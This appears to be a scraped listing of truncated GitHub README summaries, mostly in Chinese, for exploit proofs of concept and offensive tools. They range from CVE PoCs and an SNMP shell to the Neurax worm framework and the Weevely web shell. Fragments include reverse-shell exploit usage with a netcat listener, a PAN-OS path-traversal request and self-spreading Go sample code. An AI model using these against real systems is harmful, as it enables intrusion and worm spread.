CVE-2022-4616-POC

CVE-2022-46169 伪 Shell 描述 此 Python 脚本是一个辅助工具，旨在简化利用 CVE-2022-46169 漏洞的过程。它启动一个 HTTP 服务器监听传入请求，并为用户提供一个简单的界面来输入命令。这些命令随后在目标服务器上执行，自动化了向易受攻击的服务器发送精心构造的载荷并实时观察服务器响应的过程。 通过利用此脚本，用户可自动向易受攻击的服务器发送精心构造的载荷，并实时查看服务器的响应。 下载 git clone [email protected]:ahanel13/ImprovedShell-for-CVE-2022-46169.git cd...

research-labs

研究者的实验室 此仓库包含一些有意设计为易受攻击的应用程序，您可以用它们来探索由PortSwigger Research发现的漏洞。 请注意，您可以在Web Security Academy中找到许多由PortSwigger Research设计的免费在线实验室。 目录 SignSaboteur Web令牌签名器 浏览器PDF渲染差异 ASCII控制字符命令注入 警告 运行这些实验室会在您的本地机器上创建易受攻击的网站。如果您将这些网站暴露给其他系统，它们可能会被黑客攻击。...

CVE-2022-1292

CVE-2022-1292 POC 描述 crehash 脚本未能正确清理 shell 元字符以防止命令注入。 某些操作系统在分发此脚本时，会使其自动执行。 在这些操作系统上，攻击者可以以脚本的权限执行任意命令。 使用 crehash 脚本被认为已过时，应替换为 OpenSSL rehash 命令行工具。 此脚本由 update-ca-certificates（来自 ca-certificates 包）执行， 用于重新哈希 /etc/ssl/certs/ 中的证书。能够在 此目录中放置文件的攻击者可以以脚本的权限执行任意命令。 命令注入的发生是因为文件名未正确清理： $fname =...

omnibus

OSINT Omnibus 由 InQuest 开发与维护 目录 OSINT Omnibus Omnibus 文档 术语 运行 Omnibus API 密钥 交互式控制台 工件 概览 创建与管理工件 会话 模块 机 报告 监控模块 OSINT Omnibus 由 InQuest 开发与维护 Omnibus Omnibus 的定义是“一本包含多部先前单独出版的小说或其他内容的合集”，这正是 InQuest Omnibus 项目对于开源情报收集、研究和工件管理的目标。 通过提供易于使用的交互式命令行应用程序，用户可以创建会话以调查各种工件，例如 IP...

snmp-shell

SNMP Shell 基于 Net-SNMP 扩展功能的 Shell 模拟 预览如下： 描述 如果目标具有Net-SNMP 实例并启用了"extend"功能，并且你拥有具备 写入权限的 SNMP community string，你可以使用此工具自动化通过SNMP RCE发送命令的过程。 该工具会自动将你置于相应路径，以模拟真实的shell 。 你还可以使用几乎所有能想到的命令，但那些需要完全交互式shell的命令（如MySQL、Vim、Nano等）除外。 不兼容Windows，抱歉。 安装（Linux） sudo apt install snmp snmp-mibs-downloade...

CVE-2023-22884-Airflow-SQLi

Apache Airflow SQL注入PoC CVE-2023-22884 CVE-2023-22884的PoC是一个影响2.4.0之前版本的Apache Airflow RCE漏洞。 官方报告描述如下： 在Apache软件基金会的Apache Airflow和Apache Airflow MySQL Provider中存在命令中特殊元素未正确中和（'命令注入'）漏洞。该问题影响Apache Airflow版本：2.5.1之前；Apache Airflow MySQL Provider版本：4.0.0之前。来源 受影响版本的该软件包存在命令注入漏洞，原因是未对LOAD DATA LOC...

cve-2024-0012-gui-poc

CVE-2024-0012 和 CVE-2024-9474 管理 Web 界面中的身份验证绕过 PAN-SA-2024-0015 和 Palo Alto PAN-OS 中经过认证的命令注入。 技术细节请参见博客文章。 漏洞利用作者 原始漏洞利用由 Sonny watchTowr @watchtowrcyber 编写。 代码和 GUI 实现以及额外优化由 Diego Collao 完成。...

PoC--CVE-2019-10149_Exim

PoC-CVE-2019-10149Exim MNEMO-CERT 开发了一个 PoC，可利用影响 Exim 多个版本（4.87 - 4.91）的漏洞 CVE-2019-10149，以提升权限执行命令。 要本地利用该漏洞，需要定义要执行的命令。对于远程场景，仅考虑了 Exim 未使用 ACL "verify= recipient" 的情况，此时除了命令外还需指定服务的 IP 地址和端口。 MNEMO-CERT 开发此 PoC 仅出于教育目的，并用于执行能够复现 CVE-2019-10149 所述漏洞的伦理测试。此 PoC 应仅在受控环境或获得必要授权的情况下使用。...

CVE-2023-33538

针对TP-Link TL-WR940N/TL-WR841N命令注入漏洞的Python利用工具 使用说明 1. 基本漏洞检查 ： python tplinkexploit.py -t 192.168.1.1 -u admin -p admin 2. 执行自定义命令 ： python tplinkexploit.py -t 192.168.1.1 -u admin -p admin -c "yourcommandhere" 3. 反弹Shell （首先设置监听器：nc -lvnp 4444）： python tplinkexploit.py -t 192.168.1.1 -u admin -...

githubFind3r

githubFind3r githubFind3r 是一个高速的命令行仓库/用户/提交搜索工具 动图演示 安装 git clone https://github.com/atmoner/githubFind3r.git cd githubFind3r npm install 运行 node githubFind3r.js...

CVE-2024-24576-PoC---Nim

使用 Nim 探索 Windows 中的命令注入漏洞 https://foxoman.hashnode.dev/exploring-command-injection-vulnerabilities-in-windows-with-nim?showSharer=true 以下是根据 Nim 代码实验中使用不同载荷的测试结果汇总而成的表格： 载荷| execProcessNoQuoteShell| execProcessQuoteShell| execShellCmd ---|---|---|--- nim &calc| 未通过| 未通过| 通过 nim" &calc| 通过| 未通过|...

Exif-Remove

命令行工具 - 轻松移除Exif数据 该工具使用Python 2.7编写，并通过pyinstaller编译为Windows操作系统版本。这个工具没有什么特别之处，只是让我的工作更轻松，也许对你也有用。 为什么？ Exif是存储在你的照片中的隐藏Metadata。许多好意的人无意中expose personal information，这些信息嵌入在这些数字图片的元数据中。为了更好地保护你的在线confidentiality，移除Exif数据至关重要。 更新日志 v.1.0.3 工具会检查Exif数据是否已被移除（通过文件名中的ex字符串识别） 修复问题 - 单线程工作器 安装说明...

Follina_Exploiter_CLI

Follina Exploiter CLI 工具 — MSDT 漏洞 CVE-2022-30190 一个基于命令行的 Python 工具，用于利用 MSDT（微软支持诊断工具）中的零日漏洞，即“Follina”（CVE-2022-30190）。 信息：新的微软 Office 零日漏洞被用于攻击以执行 PowerShell 使用 Python（3.10.4）开发 功能 1. 在目标设备上执行恶意命令。 2. 获取反向 Shell（NetCat）。 3. 包含零点击 RTF 支持，适用于 .rtf 文件。新增 依赖 pyfiglet 安装 克隆仓库...

CVE-2020-11651

CVE-2020-11651 CVE-2020-11651 的 PoC 需要 Python3，已在 3.8 上测试 python3.8 -m pip install pyzmq msgpack ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or Host optional arguments:...

sandmap

sandmap Description • How To Use • Command Line • Configuration • Requirements • Other • Contributing • License • Wiki Description sandmap is a tool supporting network and system reconnaissance using the massive Nmap engine. It provides a user-friendly interface, automates and speeds up scanning...

neurax

一个帮助创建自传播软件的框架 概述 借助 Neurax，Golang 二进制文件无需使用任何外部服务器即可在局域网/广域网上传播。 多样化的配置选项和命令启动器允许在各种无线环境中快速传播。 示例代码 package main import . "github.com/redcode-labs/Neurax" func main //指定服务端口和使用的启动器 Nrx.Config.Port = 5555 Nrx.Config.Stager = "wget" //在后台启动一个服务器，暴露当前二进制文件 go NeuraxServer //将当前二进制文件复制到所有逻辑驱动器...

CVE-2024-27130

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我们要求所有被恐怖组织哈马斯劫持为人质的公民安全返回。在所有的人质获释并安全回家之前，我们决不罢休。您可以帮助他们回到家乡。https://stories.bringthemhomenow.net/ QNAP QTS CVE-2024-27130 PoC 🔒 本仓库包含一个针对 CVE-2024-27130 的验证性攻击脚本 PoC，该漏洞影响 QNAP QTS。此漏洞允许攻击者以 root 权限执行任意命令。 ⚠️ 描述 🔎 该脚本利用 QNAP QTS 中的一个漏洞，使攻击者能够以 root...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS命令注入 发送以下HTTP请求： POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: 127.0.0.1 Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt; Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0...

jsfinder

Features | Installation | Usage | Demo | TODOs| Contact jsFinder is a command-line tool written in Go that scans web pages to find JavaScript files linked in the HTML source code. It searches for any attribute that can contain a JavaScript file e.g., src, href, data-main, etc. and extracts the UR...

weevely3

Weevely - Weaponized web shell Description Weevely is a web shell designed for post-exploitation purposes that can be extended over the network at runtime. Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks,...